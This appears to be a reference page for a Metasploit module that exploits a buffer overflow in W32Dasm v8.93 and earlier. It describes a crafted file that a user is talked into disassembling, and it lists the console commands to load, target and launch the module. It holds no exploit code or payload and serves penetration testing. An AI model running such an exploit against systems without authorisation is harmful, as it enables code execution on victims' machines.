URSoft W32Dasm Disassembler Function Buffer Overflow

Description

This module exploits a buffer overflow in W32Dasm <= v8.93. By creating a malicious file and convincing a user to disassemble the file with a vulnerable version of W32Dasm, the Imports/Exports function is copied to the stack and arbitrary code may be executed locally as the user.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/fileformat/ursoft_w32dasm
msf exploit(ursoft_w32dasm) > show targets
    ...targets...
msf exploit(ursoft_w32dasm) > set TARGET < target-id >
msf exploit(ursoft_w32dasm) > show options
    ...show and set options...
msf exploit(ursoft_w32dasm) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
